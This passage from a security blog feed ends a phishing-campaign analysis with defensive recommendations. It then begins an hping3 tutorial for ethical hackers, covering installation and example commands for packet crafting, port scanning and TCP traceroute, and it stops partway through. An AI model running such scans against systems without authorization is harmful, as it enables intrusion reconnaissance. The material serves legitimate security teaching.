9.20.15-2-Debian &lt;&lt;&gt;&gt; A aldiscover.feedback
;; global options: +cmd
;; Got answer:
;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 10430
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; AUTHORITY SECTION:
aldiscover.feedback.    3600    IN      SOA     dns1.registrar-servers.com. hostmaster.registrar-servers.com. 1764166261 43200 3600 604800 3601</code></pre><p>The output shows that there is no A record, meaning the domain does not resolve to any IP address and therefore does not point to a web server.</p><p>The only record returned is an SOA (Start of Authority) record, which identifies the primary nameserver for the domain. This indicates that the domain exists solely for email purposes, consistent with a phishing-only setup.</p><div><hr></div><h2><strong>Recommendations</strong></h2><p><strong>This attack exploited two critical vulnerabilities:</strong> (1) Google Workspace allows email forwarding to arbitrary addresses without recipient consent, and (2) PayPal merchant forms accept invalid/misleading data in URL and contact fields. </p><p>The remediation for this issue falls into the hands of both users and the companies that host this infrastructure.</p><h3>Recommendations for Users:</h3><p>To protect themselves from phishing scams, users should follow these precautions:</p><ol><li><p><strong>Be cautious of urgent or alarming messages</strong>: Avoid clicking links or calling numbers in emails that try to provoke panic.</p></li><li><p><strong>Verify the sender and email address</strong>: Check headers or sender details to confirm the email is legitimate. Do not trust headers alone, as this case demonstrates, even valid domains can be a threat.</p></li><li><p><strong>Use official channels:</strong> Contact companies directly through verified websites or apps rather than responding to email instructions. If you type the company&#8217;s address in your browser, be careful to type it accurately. If you use a search engine like Google to find their website, avoid clicking on &#8220;sponsored&#8221; results, as these can often lead to scams.</p></li><li><p><strong>Report phishing attempts</strong>: Use the &#8220;Report Phishing&#8221; feature in your email provider to help block future scams. (See instructions: <a href="https://support.google.com/mail/answer/8253?hl=en">Gmail</a>, <a href="https://support.microsoft.com/en-us/office/phishing-and-suspicious-behavior-in-outlook-0d882ea5-eedc-4bed-aebc-079ffa1105a3">Outlook</a>)</p></li><li><p><strong>Stay informed</strong>: Learn about common phishing tactics, including Unicode obfuscation, unusual forwarding, and look&#8209;alike domains.</p></li></ol><p>Users should be wary of all communications in their email inbox, especially those designed to illicit a panicked response. If you do receive an email that concerns you, do not click any links.</p><div><hr></div><h3>Recommendations for PayPal:</h3><p>To help prevent scams like this phishing campaign, PayPal should:</p><ol><li><p><strong>Block non-standard characters in form inputs</strong>: Prevent look&#8209;alike Unicode letters, digits, or invisible characters that can bypass filters.</p></li><li><p><strong>Tighten word restrictions</strong>: Restrict which words can appear in merchant forms to prevent scammers from inserting misleading text like &#8220;PayPal&#8221; or &#8220;Support.&#8221;</p></li><li><p><strong>Enforce strict field validation</strong>: Ensure every form field only accepts the type of data it is intended for, so URLs only accept valid URLs, email fields only accept properly formatted emails, numeric fields only accept numbers, and so on.</p></li><li><p><strong>Limit lengths and formats for all fields</strong>: Apply reasonable maximum lengths and allowable characters to names, usernames, and other text fields to prevent abuse.</p></li><li><p><strong>Monitor for suspicious entries</strong>: Flag forms with unusual formatting, non-standard characters, or suspicious combinations of data for review before activation.</p></li></ol><div><hr></div><h3>Recommendation for Google:</h3><p>To reduce the risk of email forwarding abuse in phishing attacks, Google should:</p><ol><li><p><strong>Verify ownership of forwarding addresses</strong>: Require confirmation that the recipient controls the destination address before allowing email forwarding.</p></li><li><p><strong>Limit bulk forwarding capabilities</strong>: Impose stricter limits on the number of addresses a single forwarding rule can target.</p></li><li><p><strong>Detect non-standard Unicode characters</strong>: Flag or block forwarding rules that use look&#8209;alike letters, digits, or symbols to bypass filters.</p></li><li><p><strong>Identify invisible or special-space characters</strong>: Prevent forwarding rules that include Braille blanks or other invisible characters.</p></li><li><p><strong>Enhance monitoring and alerts</strong>: Trigger alerts for unusual forwarding patterns, such as multiple recipients across <strong>many different domains</strong> or emails coming from <strong>newly registered or suspicious domains</strong>, which are often indicators of phishing campaigns.</p></li></ol><div><hr></div><p>Phishing attacks <a href="https://interisle.net/insights/phishing-landscape-2025-an-annual-study-of-the-scope-and-distribution-of-phishing">hit a new record in 2025</a>, with nearly 2 million unique phishing sites detected in a single year (the highest ever recorded) and overall cybercrime surging 60% year over year. The threat is still growing fast.  </p><p>Stay safe out there!</p>]]></content:encoded></item><item><title><![CDATA[Hping3 for Ethical Hackers: Crafting Packets, Probing, Denial of Service & Firewall Evasion]]></title><description><![CDATA[Hping3 is a packet crafting tool that gives you direct control over individual network packets for security testing and advanced network analysis.]]></description><link>https://darkmarc.substack.com/p/hping3-for-ethical-hackers-crafting</link><guid isPermaLink="false">https://darkmarc.substack.com/p/hping3-for-ethical-hackers-crafting</guid><dc:creator><![CDATA[Dark Marc]]></dc:creator><pubDate>Tue, 18 Nov 2025 17:40:43 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!9nD7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F809800b1-214b-46b1-9d37-9468d8822b08_1000x333.gif" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Hping3 is a packet crafting tool</strong> that gives you direct control over individual network packets for security testing and advanced network analysis.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!9nD7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F809800b1-214b-46b1-9d37-9468d8822b08_1000x333.gif" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!9nD7!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F809800b1-214b-46b1-9d37-9468d8822b08_1000x333.gif 424w, https://substackcdn.com/image/fetch/$s_!9nD7!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F809800b1-214b-46b1-9d37-9468d8822b08_1000x333.gif 848w, https://substackcdn.com/image/fetch/$s_!9nD7!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F809800b1-214b-46b1-9d37-9468d8822b08_1000x333.gif 1272w, https://substackcdn.com/image/fetch/$s_!9nD7!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F809800b1-214b-46b1-9d37-9468d8822b08_1000x333.gif 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!9nD7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F809800b1-214b-46b1-9d37-9468d8822b08_1000x333.gif" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/809800b1-214b-46b1-9d37-9468d8822b08_1000x333.gif&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:865628,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/gif&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/178860623?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F809800b1-214b-46b1-9d37-9468d8822b08_1000x333.gif&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!9nD7!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F809800b1-214b-46b1-9d37-9468d8822b08_1000x333.gif 424w, https://substackcdn.com/image/fetch/$s_!9nD7!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F809800b1-214b-46b1-9d37-9468d8822b08_1000x333.gif 848w, https://substackcdn.com/image/fetch/$s_!9nD7!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F809800b1-214b-46b1-9d37-9468d8822b08_1000x333.gif 1272w, https://substackcdn.com/image/fetch/$s_!9nD7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F809800b1-214b-46b1-9d37-9468d8822b08_1000x333.gif 1456w" sizes="100vw" fetchpriority="high"></picture><div></div></div></a></figure></div><p><strong>Key capabilities for ethical hackers include:</strong></p><ul><li><p><strong>Craft Custom Packets:</strong> Build TCP, UDP, ICMP, and raw IP packets with full control over headers, flags, timing, and payload.</p></li><li><p><strong>Probe Hosts and Ports:</strong> Manually discover hosts and scan ports when automated tools are blocked or too noisy.  </p></li><li><p><strong>Test Firewalls and IDS/IPS:</strong> Send specific or unusual traffic to check how security devices respond.  </p></li><li><p><strong>Traffic and DoS Simulation:</strong> Generate high-rate or abnormal traffic to test DDoS defenses and system resilience.</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!7Fi-!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6626e15-cfcd-4140-9c00-87ee763b50e8_1000x333.gif" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!7Fi-!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6626e15-cfcd-4140-9c00-87ee763b50e8_1000x333.gif 424w, https://substackcdn.com/image/fetch/$s_!7Fi-!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6626e15-cfcd-4140-9c00-87ee763b50e8_1000x333.gif 848w, https://substackcdn.com/image/fetch/$s_!7Fi-!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6626e15-cfcd-4140-9c00-87ee763b50e8_1000x333.gif 1272w, https://substackcdn.com/image/fetch/$s_!7Fi-!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6626e15-cfcd-4140-9c00-87ee763b50e8_1000x333.gif 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!7Fi-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6626e15-cfcd-4140-9c00-87ee763b50e8_1000x333.gif" width="1000" height="333" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d6626e15-cfcd-4140-9c00-87ee763b50e8_1000x333.gif&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:333,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:567349,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/gif&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/178860623?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6626e15-cfcd-4140-9c00-87ee763b50e8_1000x333.gif&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!7Fi-!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6626e15-cfcd-4140-9c00-87ee763b50e8_1000x333.gif 424w, https://substackcdn.com/image/fetch/$s_!7Fi-!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6626e15-cfcd-4140-9c00-87ee763b50e8_1000x333.gif 848w, https://substackcdn.com/image/fetch/$s_!7Fi-!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6626e15-cfcd-4140-9c00-87ee763b50e8_1000x333.gif 1272w, https://substackcdn.com/image/fetch/$s_!7Fi-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd6626e15-cfcd-4140-9c00-87ee763b50e8_1000x333.gif 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Simulating a Distributed Denial of Service Attack (DDOS) with Hping3</figcaption></figure></div><div><hr></div><h2>Hping3 in Your Workflow:</h2><p>Hping3 fits into penetration tests after you finish broad discovery with a network&#8209;mapping tool like Nmap. </p><p>Once Nmap identifies hosts, ports, and services, Hping3 can probe those targets with custom traffic and test edge cases that scanners can&#8217;t handle.</p><p><strong>Common uses include:</strong></p><ul><li><p>A firewall is blocking automated scans because it detects Nmap&#8217;s signatures, so raw, custom packets are more likely to pass.</p></li><li><p>Specific hosts or services have been identified, and you need precise, controlled packets to test how they respond under certain conditions.</p></li><li><p>You need to verify firewall rules, analyze packet handling, or send traffic patterns that automated tools can&#8217;t generate.</p></li></ul><p>Hping3 complements network scanning tools by providing manual, packet-level control for precise and targeted testing. It does not perform automated scanning, but rather sends the packets you craft while reporting the responses.</p><p>Think of it like a scalpel for network testing: precise, controlled, and fully in your hands: letting you probe, manipulate, and analyze traffic in targeted ways that automated scanning tools can&#8217;t.</p><div><hr></div><h2>The History of Hping3</h2><p>Hping was created by Salvatore Sanfilippo (&#8221;Antirez&#8221;) in the late 1990s. </p><p>The original utility focused on TCP packet crafting for tasks like firewall testing and network probing. Sanfilippo developed <strong>Hping3</strong> starting in <strong>2004</strong> as a major evolution. The redesign was driven by the need to:</p><ul><li><p><strong>Expand Protocol Support:</strong> Incorporate functionality for protocols beyond TCP, including ICMP, UDP, and RAW-IP modes.</p></li><li><p><strong>Enable Scripting:</strong> Add capabilities for automated, scripted network testing, significantly increasing the tool&#8217;s versatility for security auditing.</p></li></ul><p>Early versions were used for experimenting with advanced features like network scanning and system fingerprinting.</p><p>The stable version of Hping3 was officially released on November 5, 2005, and published under the GPLv2 license. Salvatore Sanfilippo is also the creator of the popular open-source project, Redis.</p><div><hr></div><h3><strong>&#9888;&#65038; Disclaimer: Legal Use Only</strong></h3><p>Using Hping3 without proper authorization may be illegal and violate computer crime laws in your jurisdiction. Sending packets can disrupt services, cause outages, exhaust system resources, or result in data loss.</p><p>Always obtain written permission and clearly understand the scope, authorized targets, and permitted methods before testing any network or system. </p><p><em>The writer of this guide assumes no liability for any misuse, illegal activity, or damage resulting from the information provided.</em></p><div><hr></div><h2><strong>Pre-Requisites</strong></h2><p>This guide assumes you&#8217;re already familiar with networking fundamentals and penetration testing basics. If you&#8217;re reading this, you should already know:</p><h3><strong>What You Need to Know</strong></h3><ul><li><p><strong>Networking basics</strong>: IP addressing, CIDR notation, TCP vs UDP, common ports, and how firewalls work.</p></li><li><p><strong>Basic packet knowledge:</strong> Understanding packet structure and headers.</p></li><li><p><strong>Command line</strong>: You can navigate terminals and run commands with sudo/admin privileges on your OS of choice.</p></li></ul><p></p><div><hr></div><h2><strong>How to Install Hping3:</strong></h2><p>Hping3 is primarily designed for <strong>Linux</strong> and is included in most Linux distributions like Kali, Debian, and Ubuntu.</p><ul><li><p><strong>Linux:</strong> Fully supported, can be installed via package managers (<code>apt install hping3</code>) or compiled from source.</p></li><li><p><strong>Windows:</strong> Older versions of hping (like hping2) exist, but support is limited and development is mostly inactive. Hping3 does not have an official, fully functional Windows version.</p></li><li><p><strong>macOS:</strong> Can be installed via Homebrew (<code>brew install hping</code>) but may require additional permissions or compilation tweaks.</p></li></ul><h3><strong>Linux (Recommended)</strong></h3><p>Hping3 is fully supported on Linux and comes pre&#8209;installed on distros like Kali and Parrot. You can update or install it with:</p><pre><code><code>sudo apt update &amp;&amp; sudo apt install hping3</code></code></pre><h3><strong>Windows</strong></h3><p>Hping3 does not have a native, fully supported Windows version. </p><p>The recommended way to use it on Windows is through <strong>WSL (Windows Subsystem for Linux)</strong>, which gives you full Linux functionality.</p><h3><strong>macOS</strong></h3><p>Hping3 can be installed on macOS using Homebrew:</p><pre><code><code>brew install hping</code></code></pre><h3>Virtual Machines</h3><p>You can also set up a virtual machine using a hypervisor such as VirtualBox, UTM, or Parallels (for Mac) and run a Linux distribution inside it. </p><p>This can be a preferable option if you don&#8217;t have access to a native Linux machine, providing full Linux functionality for using hping3.</p><div><hr></div><h2>Basic Command Structure</h2><p>Hping3 uses a flexible, modular command format that lets you build simple or highly customized packets depending on your testing needs.</p><h3>Command Syntax</h3><p>The basic syntax defines how every hping3 command is structured. Hping3 commands are made up of three parts:</p><ol><li><p><strong>Mode:</strong> Specifies the protocol or operational mode hping3 should use.</p></li><li><p><strong>Options:</strong> Modify packet behavior, headers, timing, and output.</p></li><li><p><strong>Target:</strong> Defines the host or IP address you&#8217;re sending packets to.</p></li></ol><pre><code><code>hping3 [mode] [options] target</code></code></pre><div><hr></div><h2><strong>Learning Tip: Hping3 + Wireshark</strong></h2><p>When you&#8217;re learning Hping3, it can be helpful to run commands on Nmap and watch how they translate to network traffic in <a href="https://www.wireshark.org/">Wireshark</a>.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!yhRh!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F205ee847-ceab-4544-b730-05ab2183c24a_1000x333.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!yhRh!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F205ee847-ceab-4544-b730-05ab2183c24a_1000x333.png 424w, https://substackcdn.com/image/fetch/$s_!yhRh!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F205ee847-ceab-4544-b730-05ab2183c24a_1000x333.png 848w, https://substackcdn.com/image/fetch/$s_!yhRh!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F205ee847-ceab-4544-b730-05ab2183c24a_1000x333.png 1272w, https://substackcdn.com/image/fetch/$s_!yhRh!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F205ee847-ceab-4544-b730-05ab2183c24a_1000x333.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!yhRh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F205ee847-ceab-4544-b730-05ab2183c24a_1000x333.png" width="1000" height="333" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/205ee847-ceab-4544-b730-05ab2183c24a_1000x333.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:333,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:201025,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/178860623?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F205ee847-ceab-4544-b730-05ab2183c24a_1000x333.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!yhRh!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F205ee847-ceab-4544-b730-05ab2183c24a_1000x333.png 424w, https://substackcdn.com/image/fetch/$s_!yhRh!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F205ee847-ceab-4544-b730-05ab2183c24a_1000x333.png 848w, https://substackcdn.com/image/fetch/$s_!yhRh!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F205ee847-ceab-4544-b730-05ab2183c24a_1000x333.png 1272w, https://substackcdn.com/image/fetch/$s_!yhRh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F205ee847-ceab-4544-b730-05ab2183c24a_1000x333.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This lets you see exactly what packets Hping3 sends and how targets respond, making it easier to understand what each scan type and option actually does at the network level. Use Wireshark filters to view specific traffic:</p><pre><code><code># Wireshark Filter Cheat Sheet

# Show packets coming from a specific IP
ip.src == &lt;receiver host ip&gt;

# Show packets going to a specific IP
ip.dst == &lt;sender host ip&gt;

# Show all packets to or from a specific IP
ip.addr == &lt;host ip&gt;

# Combine filters with &amp;&amp; for more specific traffic
ip.src == &lt;source ip&gt; &amp;&amp; ip.dst == &lt;destination ip&gt;

# Filter by protocol
tcp
udp
icmp
arp

# Filter by port number
tcp.port == 80
udp.port == 53

# Combine protocol and IP filters
tcp &amp;&amp; ip.addr == &lt;host ip&gt;</code></code></pre><div><hr></div><h2>Mode</h2><p>Modes define what kind of packets hping3 sends and the overall behavior of the tool. Choose a mode based on the protocol or action you want to test. </p><p>These modes determine the network protocol or special operation hping3 will use when sending packets.</p><ul><li><p><strong>Default (TCP):</strong> Sends TCP packets for basic probing or flag&#8209;based testing.</p></li><li><p><code>-0</code><strong> / </strong><code>--rawip</code><strong>:</strong> Lets you craft arbitrary IP packets when you need full control over protocol values.</p></li><li><p><code>-1</code><strong> / </strong><code>--icmp</code><strong>:</strong> Sends ICMP packets for ping-like tests or diagnostic probing.</p></li><li><p><code>-2</code><strong> / </strong><code>--udp</code><strong>:</strong> Sends UDP packets to test UDP services, firewalls, and filtering.</p></li><li><p><code>-8</code><strong> / </strong><code>--scan</code><strong>:</strong> Performs manual port scanning when Nmap is blocked or filtered.</p></li><li><p><code>-9</code><strong> / </strong><code>--listen</code><strong>:</strong> Listens for packets, useful for debugging or custom replies.</p></li><li><p><code>-T</code><strong> / </strong><code>--traceroute</code><strong>:</strong> Maps the hop path to a target using TTL increments.</p></li></ul><h3>Default (TCP)</h3><p>Sends standard TCP packets and is used automatically if no mode flag is given. It allows testing connectivity, flags, and basic TCP behavior. Useful for quick SYN, ACK, or custom flag&#8209;based probing.</p><pre><code>hping3 &lt;target&gt; -S -p 80</code></pre><h3>-0 / --rawip</h3><p>Crafts raw IP packets, giving full control over protocol fields. This mode is useful when you need to send packets belonging to uncommon or custom protocol numbers. It is mainly used for advanced testing where standard TCP/UDP/ICMP does not apply.</p><pre><code>hping3 &lt;target&gt; -0 --ipproto 253</code></pre><h3>-1 / --icmp</h3><p>Sends ICMP packets similar to traditional ping. Useful for reachability checks, diagnostics, and network path behavior. Often used when ICMP must be tested specifically instead of TCP or UDP.</p><pre><code><code>hping3 &lt;target&gt; -1</code></code></pre><h3>-2 / --udp</h3><p>Sends UDP packets to test UDP services or filtering behavior. Helpful for checking whether hosts respond with ICMP &#8220;port unreachable.&#8221; Useful for understanding how firewalls handle UDP traffic.</p><pre><code><code>hping3 &lt;target&gt; -2 -p 12345</code></code></pre><h3>-8 / --scan</h3><p>Performs a manual TCP port scan on a target or range of targets.<br>This mode is useful when scanners such as Nmap are blocked or filtered.</p><p>The option expects a port group argument. Port groups use the following rules:</p><ul><li><p>A single number scans one port</p></li><li><p>A range uses start-end format</p></li><li><p>all scans ports 0 through 65535</p></li><li><p>known scans all ports listed in /etc/services. <br>/etc/services is a system file found on Unix and Linux systems. It acts as a directory of well-known network services and the ports they use.</p></li><li><p>Groups may be combined</p></li><li><p>Groups may be negated using !</p></li><li><p>The port group must appear immediately after the -8 flag</p></li></ul><p>The port group must immediately follow the <code>-8</code> flag. Most other hping3 options still work inside scan mode. </p><p>For example, you must specify <code>-S</code> to perform a SYN scan, and you can still modify TCP window size, TTL, IP fragmentation, and more. The only difference is that normal hping3 behavior is wrapped inside a scanning algorithm.</p><pre><code><code># Scan port 22 only (single port)
hping3 &lt;target&gt; -8 22

# Scan ports 1 through 1000 (range)
hping3 &lt;target&gt; -8 1-1000

# Scan all ports 0 through 65535 (all)
hping3 &lt;target&gt; -8 all

# Scan all ports defined in /etc/services (known)
hping3 &lt;target&gt; -8 known

# Scan ports 1 through 1000 plus port 8888 plus all known ports
hping3 &lt;target&gt; --scan 1-1000,8888,known -S target.host.com

# Scan all ports from 1 through 1024 except those listed in /etc/services
hping3 &lt;target&gt; --scan &#8216;1-1024,!known&#8217; -S target.host.com</code></code></pre><h3>-9 / --listen</h3><p>Listens for packets that contain a specific signature string. Useful for debugging, custom signaling, or simple packet-trigger experiments. The tool waits passively until matching traffic arrives.</p><pre><code><code>hping3 -9 MYTAG</code></code></pre><h3>-T / --traceroute</h3><p>Performs traceroute using TCP packets instead of ICMP. It increments TTL values to map network hops to the destination. Useful for bypassing filters that block regular traceroute probes.</p><pre><code><code>hping3 &lt;target&gt; -T -p 80</code></code></pre><div><hr></div><h2>Options</h2><p>Options modify packet headers, timing, or output for the selected mode and target. Some options work universally, others only in specific modes. Some options have both short and long forms.</p><p>In the following &#8221;Core Functions for Ethical Hackers&#8221; section, we&#8217;ll go over how to combine these options for specific use cases.</p><h3><strong>Help 